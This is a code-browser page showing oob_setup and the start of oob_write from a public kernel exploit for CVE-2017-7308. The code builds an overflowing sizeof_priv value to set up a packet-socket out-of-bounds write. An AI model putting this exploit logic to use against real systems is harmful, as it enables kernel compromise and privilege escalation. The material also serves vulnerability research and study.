MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / oob_setup

Function oob_setup

CVE-2017-7308/exploit.c:189–197  ·  view source on GitHub ↗

计算 sizeof_priv

Source from the content-addressed store, hash-verified

187#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
188// 计算 sizeof_priv
189int oob_setup(int offset) {
190 unsigned int maclen = ETH_HDR_LEN;
191 unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
192 (maclen < 16 ? 16 : maclen));
193 unsigned int macoff = netoff - maclen;
194 unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
195 0x8000 - BLK_HDR_LEN - macoff + offset;
196 return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
197}
198
199void oob_write(char *buffer, int size) {
200 loopback_send(buffer, size);

Callers 2

oob_timer_executeFunction · 0.85
oob_id_match_executeFunction · 0.85

Calls 1

packet_socket_setupFunction · 0.70

Tested by

no test coverage detected